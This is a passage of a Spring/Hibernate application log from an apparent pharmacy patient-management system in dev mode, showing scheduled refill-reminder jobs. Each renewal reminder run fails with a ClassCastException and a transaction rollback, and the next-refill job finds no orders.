org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at 